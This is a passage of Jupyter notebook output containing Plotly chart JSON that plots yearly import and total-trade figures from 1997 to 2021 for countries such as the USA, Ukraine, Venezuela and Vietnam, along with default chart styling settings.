"2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 8.73, - 9.14, - 11.52, - 12.39, - 18.91, - 29.18, - 38.21, - 86.5, - 131.39, - 167.38, - 173.68, - 408.66, - 521.81, - 1064.9, - 1722.87, - 2314.78, - 2594.25, - 3003.35, - 2560.39, - 3320.56, - 5018.55, - 7192.23, - 7283.42, - 6120.66, - 5075.21 - ] - }, - { - "mode": "lines", - "name": "VIRGIN IS US", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.01, - 0, - 0, - 0.84, - 9.39, - 0.12, - 0.07, - 0.37, - 0.09, - 2.18, - 1.54, - 2.47, - 0.34, - 0.09, - 0.4, - 2.26, - 0.6, - 1.08, - 4.53, - 0.28, - 0.76, - 7.5, - 0.09, - 0.39 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0, - 0, - 0, - 3.97, - 5.21, - 5.23, - 8.38, - 12.64, - 18.18, - 27.29, - 45.96, - 63.18, - 49.76, - 56.55, - 76.09, - 76.61, - 75.18, - 71.37, - 61.48, - 55.07, - 64.41, - 65.38, - 58.67, - 62.27, - 61.55 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "REUNION", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 3.97, - 5.21, - 5.23, - 8.38, - 12.64, - 18.18, - 27.29, - 45.96, - 63.18, - 49.76, - 56.55, - 76.09, - 76.61, - 75.18, - 71.37, - 61.48, - 55.07, - 64.41, - 65.38, - 58.67, - 62.27, - 61.55 - ] - }, - { - "mode": "lines", - "name": "U S A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10449.58, - 10839.84, - 11955.83, - 12320.12, - 11662.96, - 15339.34, - 16524.86, - 20767.1, - 26807.8, - 30601.71, - 41798.58, - 39710.95, - 36509.17, - 45342.63, - 58196.52, - 61359.95, - 61647.19, - 64263.26, - 62117.39, - 64519.71, - 74489.51, - 87955.76, - 88908.65, - 80511.24, - 87130.39 - ] - }, - { - "mode": "lines", - "name": "UGANDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 44.51, - 45.15, - 41.33, - 48.3, - 56.79, - 67.84, - 89.78, - 82.58, - 95.48, - 112.1, - 168.92, - 237.11, - 220.31, - 306.44, - 453.3, - 492.4, - 563.76, - 591.61, - 615.46, - 563.41, - 588.47, - 603.14, - 655.5, - 708.91, - 577.31 - ] - }, - { - "mode": "lines", - "name": "UKRAINE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 240.43, - 170.21, - 195, - 201.05, - 247.93, - 288.65, - 345.41, - 746.4, - 1050.58, - 1286.57, - 1283.54, - 1938.83, - 1882.55, - 1932.73, - 2954.93, - 3177.26, - 2286.01, - 2587.89, - 2010.21, - 2791.63, - 2686.07, - 2731.82, - 2524.6, - 2590.83, - 2352.34 - ] - }, - { - "mode": "lines", - "name": "URUGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 37.11, - 38.4, - 28.57, - 38.6, - 29.45, - 21.55, - 29.69, - 28.56, - 31.97, - 44.26, - 63.9, - 80.28, - 64.37, - 102.66, - 172.11, - 167.6, - 181.4, - 228.68, - 170.62, - 201.25, - 184.43, - 223.95, - 204.93, - 268.3, - 238.04 - ] - }, - { - "mode": "lines", - "name": "UZBEKISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 20.3, - 14.5, - 22.91, - 19.98, - 23.8, - 25.62, - 42.84, - 52.81, - 50.57, - 63.6, - 56.52, - 116.27, - 84, - 81.05, - 126.43, - 156.75, - 145.56, - 226.31, - 139.89, - 155.51, - 234.39, - 328.14, - 247.06, - 295.01, - 218.77 - ] - }, - { - "mode": "lines", - "name": "VANUATU REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 7.47, - 35.77, - 0.15, - 4.59, - 14.16, - 1.86, - 49.93, - 11.6, - 3.2, - 11.93, - 0, - 2.56, - 0, - 8.8, - 0, - 1.87, - 2.31, - 0, - 2.27, - 0, - 2.67, - 2.27, - 0 - ] - }, - { - "mode": "lines", - "name": "VENEZUELA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 29.45, - 32.93, - 25.91, - 56.73, - 58.13, - 44.25, - 23.64, - 75.99, - 103.96, - 874.97, - 532.7, - 4401.56, - 3069.72, - 5385.96, - 6916.62, - 14351.81, - 14137.09, - 11987.96, - 5832.47, - 5574.28, - 5945.58, - 7423.72, - 6396.72, - 1271.33, - 338.87 - ] - }, - { - "mode": "lines", - "name": "VIETNAM SOC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 135.34, - 134.57, - 165.89, - 238.3, - 237.09, - 366.57, - 448.65, - 642.46, - 822.06, - 1153.07, - 1783.77, - 2147.31, - 2360.76, - 3716.34, - 5441.96, - 6282.15, - 8036.19, - 9261.23, - 7826.38, - 10107.12, - 12831.64, - 13699.61, - 12343.32, - 11120.3, - 10181.09 - ] - }, - { - "mode": "lines", - "name": "VIRGIN IS US", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.12, - 0.33, - 0, - 0, - 4.04, - 10.36, - 1.04, - 1.62, - 1, - 1.67, - 3.32, - 2.87, - 6.68, - 1.67, - 3.81, - 1.83, - 6.16, - 5.42, - 5.31, - 9.86, - 3.16, - 43.26, - 88.9, - 75.05, - 3.93 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - 